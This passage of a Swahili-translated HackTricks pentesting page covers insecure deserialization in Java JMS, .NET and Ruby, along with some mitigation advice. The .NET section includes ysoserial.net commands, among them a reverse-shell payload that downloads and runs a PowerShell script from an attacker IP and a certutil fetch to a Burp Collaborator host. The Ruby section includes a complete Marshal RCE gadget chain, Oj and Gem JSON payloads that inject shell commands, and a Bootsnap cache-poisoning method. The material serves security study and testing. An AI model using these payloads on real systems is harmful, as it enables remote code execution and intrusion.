Kutumia Maktaba za Nje kwa Usalama Ulioimarishwa: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.

  • NotSoSerial huingilia mchakato wa deserialization ili kuzuia utekelezaji wa code isiyoaminika.
  • jdeserialize huwezesha uchambuzi wa serialized Java objects bila kuzi-deserialize, ikisaidia kubaini maudhui ya kibenajezaki.
  • Kryo ni framework mbadala ya serialization inayosisitiza kasi na ufanisi, ikitoa mikakati ya serialization inayoweza kusanidiwa ambayo inaweza kuboresha usalama.

Marejeleo

JNDI Injection & log4Shell

Gundua ni nini JNDI Injection, jinsi ya kuitumia vibaya kupitia RMI, CORBA & LDAP na jinsi ya kuchukua faida ya log4shell (na mfano wa udhaifu huu) kwenye ukurasa ufuatao:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

API ya Java Message Service (JMS) ni API ya middleware inayolenga ujumbe kwa Java kwa kutuma messages kati ya clients wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la producer–consumer. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilibainishwa na specification iliyotengenezwa na Sun Microsystems, lakini tangu wakati huo imeelekezwa na Java Community Process. Ni standard ya messaging inayoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma messages. Inaruhusu mawasiliano kati ya vipengele tofauti vya application iliyogawanyika kuwa loosely coupled, reliable, na asynchronous. (From Wikipedia).

Products

There are several products using this middleware to send messages:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Utekelezaji

Kwa hivyo, msingi ni kwamba kuna huduma nyingi zinazotumia JMS kwa njia hatarishi. Kwa hiyo, kama una privileges za kutosha za kutuma messages kwa huduma hizi (kawaida utahitaji valid credentials) unaweza kuwa na uwezo wa kutuma malicious objects serialized ambazo zitatafsiriwa (deserialized) na consumer/subscriber. Hii ina maana kwamba katika shambulio hili, all the clients watakaotumia message hiyo wataambukizwa.

Kumbuka kwamba hata kama service ni vulnerable (kwa sababu inafanya insecurely deserializing user input) bado unatakiwa kupata valid gadgets ili ku-exploit udhaifu huo.

Tool ya JMET ilitengenezwa ili kuunganisha na kushambulia huduma hizi kwa kutuma malicious objects serialized kwa kutumia gadgets zilizojulikana. Hizi exploits zitatenda kazi ikiwa service bado ni vulnerable na ikiwa mmoja wa gadgets zilizotumika upo ndani ya application iliyo vulnerable.

Marejeleo

.Net

Katika muktadha wa .Net, deserialization exploits hufanya kazi kwa njia inayofanana na ile inayopatikana katika Java, ambapo gadgets zinatumika kuendesha code maalumu wakati wa deserialization ya object.

Fingerprint

WhiteBox

Kanuni chanzo inapaswa kuchunguzwa kwa kutafuta matukio ya:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Msingi wa uchunguzi unapaswa kuwa kwenye serializers ambazo zinamruhusu type kubainishwa na variable chini ya udhibiti wa user.

BlackBox

Utafutaji unapaswa kulenga Base64 encoded string AAEAAAD///// au muundo wowote unaofanana ambao unaweza kufanyiwa deserialization kwenye upande wa server, ukikupa udhibiti juu ya type itakayodeserializiwa. Hii inaweza kujumuisha, lakini sio tu, muundo za JSON au XML zenye TypeObject au $type.

ysoserial.net

Katika kesi hii unaweza kutumia tool ya ysoserial.net ili kuunda deserialization exploits. Ukishopakua git repository inabidi ucompile tool ukitumia Visual Studio kwa mfano.

Ikiwa unataka kujifunza kuhusu jinsi ysoserial.net inavyounda exploit zake unaweza kuangalia ukurasa huu unaoelezea ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Chaguo kuu za ysoserial.net ni: --gadget, --formatter, --output na --plugin.

  • --gadget inatumika kuonyesha gadget ya ku-abuse (onyesha class/function itakayotumiwa wakati wa deserialization ili kuendesha commands).
  • --formatter, inatumika kuonyesha njia ya serializing exploit (unahitaji kujua ni library gani backend inatumia ku-deserialize payload na kutumia ile ile kuserialize)
  • --output inatumika kuonyesha ikiwa unataka exploit katika raw au base64 encoded. Kumbuka kwamba ysoserial.net itafanya encode payload kwa kutumia UTF-16LE (encoding inayotumika kwa default kwenye Windows) hivyo ukipata raw na ukai-encode kutoka kwenye console ya linux unaweza kupata matatizo ya encoding compatibility ambayo yatazuia exploit ifanye kazi sawasawa (katika HTB JSON box payload ilifanya kazi kwa zote UTF-16LE na ASCII lakini hii haisemi itafanya kazi kila wakati).
  • --plugin ysoserial.net inaunga mkono plugins za kutengeneza exploits kwa frameworks maalumu kama ViewState

More ysoserial.net parameters

  • --minify itatoa payload ndogo zaidi (iwapo inawezekana)
  • --raf -f Json.Net -c "anything" Hii itaonyesha gadgets zote zinazoweza kutumika na formatter iliyotolewa (Json.Net katika mfano huu)
  • --sf xml unaweza kuonyesha gadget (-g) na ysoserial.net itatafuta formatters zinazojumuisha "xml" (case insensitive)

ysoserial examples to create exploits:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net pia ina parameter yenye kuvutia sana ambayo husaidia kuelewa vizuri jinsi kila exploit inavyofanya kazi: --test
Ukiashiria parameter hii ysoserial.net itajaribu exploit kikaboni, hivyo unaweza kujaribu kama payload yako itafanya kazi ipasavyo.
Parameter hii ni ya msaada kwa sababu ukiangalia msimbo utapata vipande vya msimbo kama vifuatavyo (kutoka ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Hii ina maana kwamba ili kujaribu exploit, code itaitisha serializersHelper.JsonNet_deserialize

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Katika previous code is vulnerable to the exploit created. Kwa hivyo ikiwa utapata kitu kinachofanana katika application ya .Net ina maana kwamba huenda application hiyo pia iko nyeti.
Kwa hiyo parameter ya --test inatuwezesha kuelewa ni sehemu gani za code zinazoathirika na exploit ya desrialization ambayo ysoserial.net inaweza kuunda.

ViewState

Angalia this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. Ikiwa tayari unajua the secrets zinazotumika kwenye mashine ya mwathiriwa, read this post to know to execute code.

Kuzuia

Ili kupunguza hatari zinazohusiana na deserialization katika .Net:

  • Avoid allowing data streams to define their object types. Tumia DataContractSerializer au XmlSerializer inapowezekana.
  • For JSON.Net, set TypeNameHandling to None: TypeNameHandling = TypeNameHandling.None
  • Avoid using JavaScriptSerializer with a JavaScriptTypeResolver.
  • Limit the types that can be deserialized, ukielewa hatari zilizopo kwa aina za .Net, kama System.IO.FileInfo, ambazo zinaweza kubadilisha properties za files za server, potentially leading to denial of service attacks.
  • Be cautious with types having risky properties, kama System.ComponentModel.DataAnnotations.ValidationException na property yake ya Value, ambayo inaweza kutumiwa.
  • Securely control type instantiation ili kuzuia attackers kuathiri mchakato wa deserialization, jambo linaloweza kufanya hata DataContractSerializer au XmlSerializer kuwa nyeti.
  • Implement white list controls kwa kutumia custom SerializationBinder kwa BinaryFormatter na JSON.Net.
  • Stay informed about known insecure deserialization gadgets ndani ya .Net na hakikisha deserializers hazitaundaji aina hizo.
  • Isolate potentially risky code kutoka kwa code inayopata internet ili kuepuka kuonyesha known gadgets, kama System.Windows.Data.ObjectDataProvider katika WPF applications, kwa vyanzo vya data visivyoaminika.

Marejeleo

Ruby

Katika Ruby, serialization inafanyika kupitia njia mbili ndani ya library ya marshal. Njia ya kwanza, inayojulikana kama dump, hutumika kubadilisha object kuwa byte stream. Mchakato huu unaitwa serialization. Kwa upande mwingine, njia ya pili, load, hutumika kurejesha byte stream tena kuwa object, mchakato unaojulikana kama deserialization.

Kwa kuhakikisha usalama wa serialized objects, Ruby inatumia HMAC (Hash-Based Message Authentication Code), kuhakikisha uadilifu na uhalali wa data. Key inayotumika kwa madhumuni haya imehifadhiwa katika mojawapo ya maeneo yafuatayo:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Mnyororo mwingine wa RCE to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

Kama ilivyoelezwa katika this vulnerability report, endapo input isiyo sanitized kutoka kwa mtumiaji itafika kwenye .send() method ya ruby object, method hii inaruhusu kuita method nyingine yoyote ya object kwa parameters yoyote.

Kwa mfano, kuitisha eval kisha kuweka ruby code kama parameter ya pili kutaruhusu kuendesha msimbo wowote:

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

Zaidi ya hayo, ikiwa kigezo kimoja tu cha .send() kinadhibitiwa na attacker, kama ilivyotajwa kwenye writeup ya awali, inawezekana kuita method yoyote ya object ambayo haitahitaji vigezo au ambayo vigezo vyake vina thamani za chaguo-msingi.
Kwa hili, inawezekana kuorodhesha methods zote za object ili kupata baadhi ya methods zinazovutia ambazo zinakidhi mahitaji hayo.

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Angalia jinsi inavyoweza pollute a Ruby class and abuse it in here.

Ruby _json pollution

Unapotuma kwenye body baadhi ya thamani ambazo si hashable kama array, zinaongezwa kwenye key mpya iitwayo _json. Hata hivyo, mdukuzi anaweza pia kuweka kwenye body thamani inayoitwa _json yenye vitu vyovyote anavyotaka. Kisha, kwa mfano ikiwa backend inakagua uhalali wa parameter lakini pia inatumia parameter _json kutekeleza kitendo fulani, kunaweza kufanywa authorisation bypass.

Angalia taarifa zaidi kwenye Ruby _json pollution page.

Other libraries

Teknika hii ilichukuliwa from this blog post.

Kuna maktaba nyingine za Ruby zinazoweza kutumika ku-serialize objects na kwa hivyo zinaweza kutumiwa vibaya kupata RCE wakati wa insecure deserialization. Jedwali lifuatalo linaonyesha baadhi ya maktaba hizi na methodi wanayoiita ya library iliyopakiwa kila inapouserialize (kazi inayoweza kutumiwa ili kupata RCE):

MaktabaData ya inputMethodi inayochochea ndani ya class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Mfano wa msingi:

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Katika kesi ya kujaribu kutumia vibaya Oj, ilikuwa inawezekana kupata gadget class ambayo ndani ya hash function yake itaita to_s, ambayo itaita spec, ambayo itaita fetch_path, ambayo iliwwezekana kuifanya itafute URL ya nasibu, ikitoa detector mzuri wa aina hizi za unsanitized deserialization vulnerabilities.

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Zaidi ya hayo, iligundulika kwamba kwa kutumia tekniki iliyotangulia, kabrasha pia linaundwa kwenye mfumo — jambo ambalo ni sharti ili kutumia gadget nyingine kwa lengo la kubadilisha hili kuwa RCE kamili kwa kitu kama:

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Angalia kwa maelezo zaidi kwenye original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Hapa chini ni muhtasari mfupi wa hatua zilizoelezewa katika makala kwa ajili ya kutumia arbitrary file write vulnerability kwa kutumia Bootsnap caching:

  • Identify the Vulnerability and Environment

Fomu ya uploads ya files ya Rails app inaruhusu attacker kuandika files kwa arbitrary. Ingawa app inakimbia chini ya vikwazo (tu directories fulani kama tmp zinaweza kuandikwa kutokana na Docker’s non-root user), hii bado inaruhusu kuandika kwenye Bootsnap cache directory (kawaida chini ya tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

Bootsnap huharakisha boot ya Rails kwa caching compiled Ruby code, YAML, na JSON files. Inahifadhi cache files ambazo zinajumuisha cache key header (zikiwa na fields kama RUBY_VERSION, file size, mtime, compile options, n.k.) ikifuatiwa na compiled code. Header hii hutumika kuthibitisha cache wakati wa app startup.

  • Gather File Metadata

Attacker kwanza huchagua target file ambayo ina uwezekano wa kupakiwa wakati wa Rails startup (kwa mfano, set.rb kutoka kwa Ruby’s standard library). Kwa kutekeleza Ruby code ndani ya container, wanatoa metadata muhimu (kama RUBY_VERSION, RUBY_REVISION, size, mtime, na compile_option). Data hii ni muhimu kwa kutengeneza cache key halali.

  • Compute the Cache File Path

Kwa kuiga Bootsnap’s FNV-1a 64-bit hash mechanism, njia sahihi ya cache file inahesabiwa. Hatua hii inahakikisha kwamba malicious cache file imewekwa mahali ambako Bootsnap inatarajia (mfano, chini ya tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

Attacker huandaa payload ambayo:

  • Executes arbitrary commands (for example, running id to show process info).
  • Removes the malicious cache after execution to prevent recursive exploitation.
  • Loads the original file (e.g., set.rb) to avoid crashing the application.

Payload hii inakomilishwa kuwa binary Ruby code na kuunganishwa na cache key header iliyotengenezwa kwa uangalifu (kwa kutumia metadata zilizokusanywa awali na nambari sahihi ya version ya Bootsnap).

  • Overwrite and Trigger Execution

Using the arbitrary file write vulnerability, attacker anaandika crafted cache file kwenye location iliyohesabiwa. Kisha wanaanzisha restart ya server (kwa kuandika kwenye tmp/restart.txt, ambayo inafuatiliwa na Puma). Wakati wa restart, wakati Rails inahitaji file lengwa, malicious cache file itapakiwa, na kusababisha remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Aina za kawaida za gadget classes zinazojitokeza katika real chains: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Alama ya kawaida ya side-effect iliyowekwa ndani ya payloads (inayotekelezwa wakati wa unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Inapoonekana katika maombi ya kweli:

  • Rails cache stores na session stores ambazo kihistoria zimetumia Marshal
  • Backends za background job na object stores zilizo kwenye faili
  • Utunzaji wa desturi au usafirishaji wowote wa binary object blobs

Ugunduzi wa gadgets kwa kiwango cha viwandani:

  • Tumia grep kutafuta constructors, hash, _load, init_with, au methods zenye side-effects zinazoitwa wakati wa unmarshal
  • Tumia CodeQL’s Ruby unsafe deserialization queries kufuatilia sources → sinks na kuonyesha gadgets
  • Thibitisha kwa PoCs za hadharani zinazounga mkono miundo mingi (JSON/XML/YAML/Marshal)

References

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks